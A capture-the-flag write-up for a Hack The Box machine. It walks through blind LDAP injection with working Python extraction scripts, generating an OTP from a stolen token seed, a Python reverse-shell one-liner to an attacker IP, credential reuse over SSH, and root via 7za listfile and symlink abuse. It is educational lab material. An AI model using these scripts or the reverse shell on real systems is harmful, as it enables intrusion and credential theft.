HTB CTF
10.10.10.122 | 50 pts | Synack Track | Ticket Master Badge
PART 1 : Initial Recon
1.1 NMAP SCAN
$ nmap --min-rate 700 -p- -v 10.10.10.122
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
$ nmap -oN ctf.nmap -p22,80 -sC -sV -v 10.10.10.122
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
| http-methods:
| Supported Methods: GET HEAD POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: CTFPART 2 : Port Enumeration
2.1 TCP PORT 80 : HTTP
Visiting http://10.10.10.122:

The site is protected against bruteforcing which means automated tools are not an efficient option. Looking at /login.php:

Page Source (/login.php):
...
<form action="/login.php" method="post">
<div class="form-group row">
<div class="col-sm-10">
</div>
</div>
<div class="form-group row">
<label for="inputUsername" class="col-sm-2 col-form-label">Username</label>
<div class="col-sm-10">
<input type="text" class="form-control" id="inputUsename" name="inputUsername" placeholder="Username">
</div>
</div>
<div class="form-group row">
<label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
<div class="col-sm-10">
<input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
<!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->
</div>
</div>
<div class="form-group row">
<div class="col-sm-10">
<button type="submit" class="btn btn-primary name=" submit"="" value="Login">Login</button>
</div>
</div>
</form>
...NOTE(S):
An error message pops up when guessing the Username input:
<div class="col-sm-10">User test not found</div>Now, testing for possible injection -- inputUsername=%3D (%3D is "=") and no error message popped up.
!,&,*,(,),\,|,<, and>also doesn't return an error message
These are special characters in LDAP so maybe these characters are being filtered out by /login.php. It is also important to note that a token string for the OTP is stored in a pre-existing attribute so the login might actually be validated using LDAP.
PART 3 : EXPLOITATION
3.1 LDAP Blind Injection
Attempt exploitation using LDAP Injection using a wildcard "*" as a payload:
inputUsername=%2AThe following response was given by the server:
<div class="col-sm-10">Cannot login</div>This error message means we have a valid username and that the injection has worked. Now attempting to extract a real valid user using python:
import requests as r
import urllib.parse as u
username = ""
char_list = "abcdefghijklmnopqrstuvwxyz0123456789"
while True:
for i in range(0, len(char_list)):
ldap_injection = "%s%c*" % (username, char_list[i])
data = { "inputUsername": u.quote(ldap_injection) }
req = r.post("http://10.10.10.122/login.php", data=data)
if "Cannot login" in req.text:
username = username + char_list[i]
print(username)
break
if i == len(char_list) - 1 : break
print("[x] THE USERNAME IS " + username)Run using python3 and a user, ldapuser, has been extracted:
l
ld
lda
ldap
ldapu
ldapus
ldapuse
ldapuser
[x] THE USERNAME IS ldapuserNow finding all available/usable LDAP Attributes using ldap_attribute_list.txt (copied from ldap-brute from GitHub):
import requests as r
import urllib.parse as u
attribute_list = open("/usr/share/wordlists/ldap_attribute_names.txt", "r")
attributes = []
for i in attribute_list:
ldap_injection = "ldapuser))(&(%s=*" % (i[:-1])
data = { "inputUsername": u.quote(ldap_injection) }
req = r.post("http://10.10.10.122/login.php", data=data)
if "Cannot login" in req.text:
print(ldap_injection)
attributes.append(i[:-1])
attribute_list.close()Run using python3 and the following were returned -- userPassword, pager, and objectClass might be of interest:
ldapuser))(&(cn=*
ldapuser))(&(commonName=*
ldapuser))(&(gidNumber=*
ldapuser))(&(homeDirectory=*
ldapuser))(&(loginShell=*
ldapuser))(&(mail=*
ldapuser))(&(name=*
ldapuser))(&(objectClass=*
ldapuser))(&(pager=*
ldapuser))(&(shadowLastChange=*
ldapuser))(&(shadowMax=*
ldapuser))(&(shadowMin=*
ldapuser))(&(shadowWarning=*
ldapuser))(&(sn=*
ldapuser))(&(surname=*
ldapuser))(&(uid=*
ldapuser))(&(uidNumber=*
ldapuser))(&(userPassword=*Extracting the contents of userPassword:
import requests as r
import urllib.parse as u
token = ""
while True:
if len(token) % 3 == 0 :
attribute_value = bytes.fromhex(str(token.replace("\\", ""))).decode('utf-8')
print(attribute_value)
token += "\\"
if len(attribute_value[19:])==86: break
for x in range(15,-1,-1):
if len(attribute_value[19:])==85 and len(token) % 3 == 2 :
if x==0: token = token + "0"
payload = "ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:="
ldap_injection = payload + "%s%cf" % (token, hex(x)[-1])
if ldap_injection[-3:] == "0ff":
hex_val = "0x" + ldap_injection[-6:-4]
token = token[:-4] + hex(int(hex_val, 16) + 1)[-2:] + "\\"
ldap_injection = payload + "%s%cf" % (token, hex(x)[-1])
data = { "inputUsername": u.quote(ldap_injection) }
req = r.post("http://10.10.10.122/login.php", data=data)
if x==0 and len(token) % 3 == 2 : token = token[:-1] + str(int(token[-1]) - 1) + "0"
elif "Cannot login" not in req.text:
if len(token) % 3 == 2 : token = token + hex(x)[-1]
else: token = token + hex(x+1)[-1]
breakRun using python3:
{
{c
{cr
{cry
{cryp
{crypt
{crypt|
{crypt}#
{crypt}$5
...
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G-
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.
...
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi23
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi245
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi246
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi2460The userPassword attribute is a bit special:
So with ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:=, a simple wildcard comparison won't do:
octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit
comparison (in big endian ordering) of two octet string values until a difference is found. The first
case in which a zero bit is found in one value but a one bit is found in another will cause the value
with the zero bit to be considered less than the value with the one bit.A sha512crypt hash was extracted but this seems to be a RABBIT HOLE. But the pager attribute seems promising:
import requests as r
import urllib.parse as u
token = ""
while( len(token)!=81 ):
for i in range(0,10):
ldap_injection = "ldapuser))(&(pager=%s%d*" % (token, i)
data = { "inputUsername": u.quote(ldap_injection) }
req = r.post("http://10.10.10.122/login.php", data=data)
if "Cannot login" in req.text:
token = token + str(i)
print(token)
break
print("[x] THE TOKEN IS " + token)Run using python3 and it seems like the attribute contains the token which is a Pure Numeric CTF (Compressed Token Format) string:
2
28
285
2854
28544
285449
2854494
28544949
285449490
2854494900
...
28544949001135715653165154565233557071316741144572714
285449490011357156531651545652335570713167411445727140
2854494900113571565316515456523355707131674114457271406
28544949001135715653165154565233557071316741144572714060
285449490011357156531651545652335570713167411445727140604
2854494900113571565316515456523355707131674114457271406041
...
28544949001135715653165154565233557071316741144572714060417214145671110271671700
285449490011357156531651545652335570713167411445727140604172141456711102716717000
[x] THE TOKEN IS 2854494900113571565316515456523355707131674114457271406041721414567111027167170003.2 OTP Generation
Generate an OTP using the token string with stoken:
$ stoken import --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000
Enter new password:
Confirm new password:
$ stoken tokencode
Enter PIN:
PIN must be 4-8 digits. Use '0000' for no PIN.
Enter PIN: 0000
83502926Login using the credentials found/generated (ldapuser:83502926) then you are redirected to /page.php:

Page Source (/page.php):
...
<form action="/page.php" method="post" >
<div class="form-group row">
<div class="col-sm-12">
</div>
</div>
<div class="form-group row">
<label for="inputCmd" class="col-sm-2 col-form-label">Cmd</label>
<div class="col-sm-10">
<input type="text" class="form-control" id="inputCmd" name="inputCmd" placeholder="Command to issue">
</div>
</div>
<div class="form-group row">
<label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
<div class="col-sm-10">
<input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
</div>
</div>
<div class="form-group row">
<div class="col-sm-10">
<button type="submit" class="btn btn-primary name="submit" value="Submit">Submit</button>
</div>
</div>
</form>
...An error message pops up when fuzzing the inputCmd's input:
<div class="col-sm-10">User must be member of root or adm group and have a registered token to issue commands on this server</div>There was a gidNumber back during bruteforcing the available LDAP attributes:
rootandadmhas group numbers 0 and 4 respectivelyMaybe
ldapuser's group number could be added to the check done by /page.php
Maybe the group restriction could be bypassed by passing an LDAP injection as a username like ldapuser))(|(gidNumber:2.5.13.14:=1000when loggin in:
USERNAME
PASSWORD
ldapuser%29%29%28%7C%28gidNumber%3A2.5.13.14%3A%3D1000
Generate an OTP using stoken
Checking if ldapuser's GID is ineed 1000:
import requests as r
import urllib.parse as u
for i in range(1000, 1050):
ldap_injection = "ldapuser))(|(gidNumber:2.5.13.14:=%d" % (i)
data = { "inputUsername": u.quote(ldap_injection) }
req = r.post("http://10.10.10.122/login.php", data=data)
if "Cannot login" in req.text: break
print("[x] ldapuser's gidNumber : " + str(i))The script returned the following --[x] ldapuser's gidNumber : 1000
Using the new username, The group restriction no longer applies.
PART 4 : Generate User Shell
4.1 Reverse Shell as apache
On the local machine:
nc -lvp 4444Sending a reverse shell on /page.php:
inputCmd
inputOTP
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.62",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Generate an OTP using stoken
While inside the reverse shell:
$ id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ldapuser:x:1000:1000::/home/ldapuser:/bin/bash
$ ls -lah
[...omitted...]
-rw-r-----. 1 root apache 5.0K Oct 23 2018 login.php
-rw-r-----. 1 root apache 68 Oct 23 2018 logout.php
-rw-r-----. 1 root apache 5.2K Oct 23 2018 page.php
[...omitted...]
$ cat login.php
[...omitted...]
$username = 'ldapuser';
$password = 'e398e27d5c4ad45086fe431120932a01';
[...omitted...]4.2 SSH as ldapuser
Login as ldapuser via ssh:
$ ssh -l ldapuser 10.10.10.122
[email protected]'s password: e398e27d5c4ad45086fe431120932a01ldapuser shell:
$ id
uid=1000(ldapuser) gid=1000(ldapuser) groups=1000(ldapuser) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ cat user.txt
74a8e86f3f6ecd8010a660cfb44ee585PART 5 : Privilege Escalation (ldapuser -> root)
5.1 honeypot.sh
Enumerating the system using ldapuser shell:
$ ls -lah /
[...omitted...]
drwxr-xr-x. 2 root root 4.0K Jun 18 20:16 backup
[...omitted...]
$ ls -lah /backup
[...omitted...]
-rw-r--r--. 1 root root 32 Jun 18 20:13 backup.1560881581.zip
-rw-r--r--. 1 root root 32 Jun 18 20:14 backup.1560881641.zip
-rw-r--r--. 1 root root 32 Jun 18 20:15 backup.1560881701.zip
-rw-r--r--. 1 root root 32 Jun 18 20:16 backup.1560881761.zip
-rw-r--r--. 1 root root 32 Jun 18 20:17 backup.1560881821.zip
-rw-r--r--. 1 root root 0 Jun 18 20:17 error.log
-rwxr--r--. 1 root root 975 Oct 23 2018 honeypot.shThere is a script named honeypot.sh and backup files seem to be generated every minute:
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt
# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')
# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f
# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
# cleaup the honeypot
rm -rf -- *
# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log5.2 7za listfiles
Leveraging honeypot.sh by exploiting what 7za can do:
$ 7za --help
[...omitted...]
Usage: 7za <command> [<switches>...] <archive_name> [<file_names>...] [<@listfiles...>]
[...omitted...]
<Switches>
-- : Stop switches parsing
[...omitted...]
-snl : store symbolic links as links
[...omitted...]
-t{Type} : Set type of archive
[...omitted...]Since all switches after -- will be ignored meaning wildcard injection is no longer a viable option but, [<@listfiles...>] could still be controlled
To leverage @listfiles, write a file to /var/www/html/uploads:
$ cd /var/www/html/uploads
$ ls -la
ls: cannot open directory .: Permission denied
$ ls -lah ../
[...omitted...]
drwxr-x--x. 2 apache apache 6 Oct 23 2018 uploadsThe reverse shell from earlier has a user apache so the permissions could be changed using /page.php
inputCmd
inputOTP
chmod 777 /var/www/html/uploads
Generate an OTP using stoken
Now, create relevant files:
$ cd /var/www/html/uploads
$ touch @list
$ ln -s /root/root.txt list
$ ls -lah
drwxrwxrwx. 2 apache apache 31 Jun 18 21:42 .
drwxr-xr-x. 6 root root 176 Oct 23 2018 ..
lrwxrwxrwx. 1 ldapuser ldapuser 14 Jun 18 21:42 list -> /root/root.txt
-rw-rw-r--. 1 ldapuser ldapuser 0 Jun 18 21:42 @listSince list is not a valid listfile, an error will be thrown. Attempting to capture /backup/error.log before contents are truncated by honeypot.sh:
$ while ! [ -s /backup/error.log ]; do : ; done; cat /backup/error.log
WARNING: No more files
fd6d2e53c995e6928cd0f040c79ba053Last updated